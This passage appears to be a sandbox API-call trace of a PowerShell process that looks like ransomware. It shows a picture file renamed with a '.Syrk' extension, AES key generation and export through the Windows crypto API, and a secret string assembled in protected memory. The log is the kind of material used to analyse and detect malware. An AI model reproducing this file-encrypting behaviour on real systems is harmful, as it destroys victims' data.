0x0 [0251.460] EtwEventActivityIdControl () returned 0x0 [0251.460] EtwEventActivityIdControl () returned 0x0 [0251.482] EtwEventActivityIdControl () returned 0x0 [0251.483] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.483] EtwEventActivityIdControl () returned 0x0 [0251.483] EtwEventActivityIdControl () returned 0x0 [0251.483] EtwEventActivityIdControl () returned 0x0 [0251.486] EtwEventActivityIdControl () returned 0x0 [0251.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0251.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23c382c | out: lpFileInformation=0x23c382c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117e7130, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x117e7130, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1180d290, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xec24)) returned 1 [0251.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0251.492] GetConsoleOutputCP () returned 0x1b5 [0251.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.540] GetConsoleOutputCP () returned 0x1b5 [0251.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.542] GetConsoleOutputCP () returned 0x1b5 [0251.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.542] GetConsoleOutputCP () returned 0x1b5 [0251.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.542] GetConsoleOutputCP () returned 0x1b5 [0251.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.542] GetConsoleOutputCP () returned 0x1b5 [0251.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.543] GetConsoleOutputCP () returned 0x1b5 [0251.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.543] GetConsoleOutputCP () returned 0x1b5 [0251.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.543] GetConsoleOutputCP () returned 0x1b5 [0251.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.543] GetConsoleOutputCP () returned 0x1b5 [0251.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.544] GetConsoleOutputCP () returned 0x1b5 [0251.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.544] GetConsoleOutputCP () returned 0x1b5 [0251.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.544] GetConsoleOutputCP () returned 0x1b5 [0251.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0251.544] GetConsoleOutputCP () returned 0x1b5 [0251.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0251.545] GetConsoleOutputCP () returned 0x1b5 [0251.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.545] GetConsoleOutputCP () returned 0x1b5 [0251.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0251.545] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0251.545] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0251.546] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dda3c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23dda3c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0251.546] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0251.546] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0251.547] EtwEventActivityIdControl () returned 0x0 [0251.547] EtwEventActivityIdControl () returned 0x0 [0251.548] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.548] EtwEventActivityIdControl () returned 0x0 [0251.548] EtwEventActivityIdControl () returned 0x0 [0251.548] EtwEventActivityIdControl () returned 0x0 [0251.550] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.551] EtwEventActivityIdControl () returned 0x0 [0251.551] EtwEventActivityIdControl () returned 0x0 [0251.551] EtwEventActivityIdControl () returned 0x0 [0251.553] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0251.554] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c997a0) returned 1 [0251.554] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.554] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0251.554] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23e5414, pdwDataLen=0x5a2e8c4 | out: pbData=0x23e5414*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0251.554] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.555] EtwEventActivityIdControl () returned 0x0 [0251.555] EtwEventActivityIdControl () returned 0x0 [0251.555] EtwEventActivityIdControl () returned 0x0 [0251.556] SysStringLen (param_1="") returned 0x8 [0251.556] SysStringLen (param_1="E") returned 0x8 [0251.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.556] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0251.556] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0251.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.556] SysStringLen (param_1="Ez") returned 0x8 [0251.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.556] SysStringLen (param_1="൲憷೛\㳙績绘⤒∸) returned 0x8 [0251.556] SysStringLen (param_1="൲憷೛\㳙績绘⤒∸) returned 0x8 [0251.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.557] SysStringLen (param_1="Ezd") returned 0x8 [0251.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.557] SysStringLen (param_1="酢Ḽ摵䨾䶧芄\⋟) returned 0x8 [0251.557] SysStringLen (param_1="酢Ḽ摵䨾䶧芄\⋟) returned 0x8 [0251.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.557] SysStringLen (param_1="EzdD") returned 0x8 [0251.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.557] SysStringLen (param_1="꯹騂꠱\络猝₦㽧⊽) returned 0x8 [0251.557] SysStringLen (param_1="꯹騂꠱\络猝₦㽧⊽) returned 0x8 [0251.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.557] SysStringLen (param_1="EzdDi") returned 0x8 [0251.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.558] SysStringLen (param_1="␖ﵳ⢙ʹ୹࡭谆灳") returned 0x8 [0251.558] SysStringLen (param_1="␖ﵳ⢙ʹ୹࡭谆灳") returned 0x8 [0251.558] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.558] SysStringLen (param_1="EzdDiM") returned 0x8 [0251.558] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.558] SysStringLen (param_1="쪯㧶ľ\络駦첈Ꙛ⋗) returned 0x8 [0251.558] SysStringLen (param_1="쪯㧶ľ\络駦첈Ꙛ⋗) returned 0x8 [0251.558] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.558] SysStringLen (param_1="EzdDiMU") returned 0x8 [0251.558] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.558] SysStringLen (param_1="覺啠ꭊ怒崐Ѣ⭱") returned 0x8 [0251.558] SysStringLen (param_1="覺啠ꭊ怒崐Ѣ⭱") returned 0x8 [0251.558] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.559] SysStringLen (param_1="EzdDiMUz") returned 0x8 [0251.559] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.559] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨") returned 0x8 [0251.559] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨") returned 0x8 [0251.559] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨") returned 0x8 [0251.559] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨") returned 0x10 [0251.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.560] SysStringLen (param_1="EzdDiMUzTႠ躬릷♦ᒯ༈") returned 0x10 [0251.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.560] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨힞⸭㕬∘❙") returned 0x10 [0251.560] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨힞⸭㕬∘❙") returned 0x10 [0251.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.560] SysStringLen (param_1="EzdDiMUzTF躬릷♦ᒯ༈") returned 0x10 [0251.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.560] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨럍㤗ჩ띲很㗼") returned 0x10 [0251.560] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨럍㤗ჩ띲很㗼") returned 0x10 [0251.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.560] SysStringLen (param_1="EzdDiMUzTFx릷♦ᒯ༈") returned 0x10 [0251.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.561] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨ዴ䷍而䃶諕ꕶ儿") returned 0x10 [0251.561] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨ዴ䷍而䃶諕ꕶ儿") returned 0x10 [0251.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.561] SysStringLen (param_1="EzdDiMUzTFxx♦ᒯ༈") returned 0x10 [0251.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.561] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨䔤￐蔐암苹ொ縚") returned 0x10 [0251.561] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨䔤￐蔐암苹ொ縚") returned 0x10 [0251.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.561] SysStringLen (param_1="EzdDiMUzTFxx/ᒯ༈") returned 0x10 [0251.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.561] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨睈䙍䲂栝\ꃝ॰蚽⋷) returned 0x10 [0251.561] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨睈䙍䲂栝\ꃝ॰蚽⋷) returned 0x10 [0251.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.562] SysStringLen (param_1="EzdDiMUzTFxx/P༈") returned 0x10 [0251.562] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.562] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨璻꺇킣蚢窘▰༚刓") returned 0x10 [0251.562] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨璻꺇킣蚢窘▰༚刓") returned 0x10 [0251.562] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.562] SysStringLen (param_1="EzdDiMUzTFxx/PJ") returned 0x10 [0251.562] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.562] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨勻庶ﲾꂌ햨ŵ\㗞∴) returned 0x10 [0251.562] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨勻庶ﲾꂌ햨ŵ\㗞∴) returned 0x10 [0251.562] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.562] SysStringLen (param_1="EzdDiMUzTFxx/PJP") returned 0x10 [0251.562] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.562] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\⋛) returned 0x10 [0251.563] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\⋛) returned 0x10 [0251.563] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\⋛) returned 0x10 [0251.563] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\⋛) returned 0x18 [0251.563] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.563] SysStringLen (param_1="EzdDiMUzTFxx/PJPX㘭㴥藲ᯓᘚ") returned 0x18 [0251.563] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.563] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\ￛ鰴粎鑩쭄†ｸ≪) returned 0x18 [0251.563] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\ￛ鰴粎鑩쭄†ｸ≪) returned 0x18 [0251.563] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.564] SysStringLen (param_1="EzdDiMUzTFxx/PJPXu㴥藲ᯓᘚ") returned 0x18 [0251.564] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.564] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\髛쿱⎭䮖늵ﰿ鹨롞⊙) returned 0x18 [0251.564] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\髛쿱⎭䮖늵ﰿ鹨롞⊙) returned 0x18 [0251.564] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.564] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuO㴥藲ᯓᘚ") returned 0x18 [0251.564] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.564] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\崕᫏궧閘笪텶켍≈) returned 0x18 [0251.564] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\崕᫏궧閘笪텶켍≈) returned 0x18 [0251.564] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.564] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg㴥藲ᯓᘚ") returned 0x18 [0251.564] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.565] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\鷛敕ꃄ辭⁃⋌) returned 0x18 [0251.565] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\鷛敕ꃄ辭⁃⋌) returned 0x18 [0251.565] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.565] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg4藲ᯓᘚ") returned 0x18 [0251.565] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.565] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\喂冯삋嚚矤炙㇓⋀) returned 0x18 [0251.565] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\喂冯삋嚚矤炙㇓⋀) returned 0x18 [0251.565] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.565] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg40ᯓᘚ") returned 0x18 [0251.565] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.565] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\៛⽸姻ꫨꉜ๦≚) returned 0x18 [0251.565] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\៛⽸姻ꫨꉜ๦≚) returned 0x18 [0251.565] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.566] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405ᘚ") returned 0x18 [0251.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.566] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\곛讆ᕌ諣鮢㳕嘥≪) returned 0x18 [0251.566] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\곛讆ᕌ諣鮢㳕嘥≪) returned 0x18 [0251.566] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.566] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r") returned 0x18 [0251.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.566] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺⊇) returned 0x18 [0251.566] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺⊇) returned 0x18 [0251.566] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺⊇) returned 0x18 [0251.567] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺⊇) returned 0x20 [0251.567] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.567] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4⥊氼⦆䰓槳줴䪇") returned 0x20 [0251.567] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.567] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺莇䙢࣎헡☲Ԉ斈谳∍) returned 0x20 [0251.567] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺莇䙢࣎헡☲Ԉ斈谳∍) returned 0x20 [0251.567] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.567] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4J氼⦆䰓槳줴䪇") returned 0x20 [0251.567] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.567] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺㺇䒭⑕ꎭ戅ᵸ鈁煮⋐) returned 0x20 [0251.567] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺㺇䒭⑕ꎭ戅ᵸ鈁煮⋐) returned 0x20 [0251.568] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.568] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP⦆䰓槳줴䪇") returned 0x20 [0251.568] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.568] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ڇ롗怓딛㑏㽘ᑾᵃ⊺) returned 0x20 [0251.568] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ڇ롗怓딛㑏㽘ᑾᵃ⊺) returned 0x20 [0251.568] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.568] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP4䰓槳줴䪇") returned 0x20 [0251.568] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.568] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ꊇ薥볘ꛮъ⨣윮ᘞ⊕) returned 0x20 [0251.568] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺ꊇ薥볘ꛮъ⨣윮ᘞ⊕) returned 0x20 [0251.568] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.568] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43槳줴䪇") returned 0x20 [0251.568] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.569] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺껾࢏ᢸ강ꛗ輯∛) returned 0x20 [0251.569] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺껾࢏ᢸ강ꛗ輯∛) returned 0x20 [0251.569] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.569] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43H줴䪇") returned 0x20 [0251.569] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.569] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺碇⧐뛌躢၅垃≀) returned 0x20 [0251.569] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺碇⧐뛌躢၅垃≀) returned 0x20 [0251.569] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.569] SysStringLen (param_1="EzdDiMUzTFxx/PJPXuOg405r4JP43HX䪇") returned 0x20 [0251.569] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.569] SysStringLen (param_1="⠵暈͹궉ꋐ类⌨奙ຸ酝寜뛊㎍梠\駛\ᇟ᭕鍈쟼\䟟벺粇쮑ꯁ꩹ﳷ퉁ㆃㅂ⊻) returned 0x20 [0251.569] SysStringLen 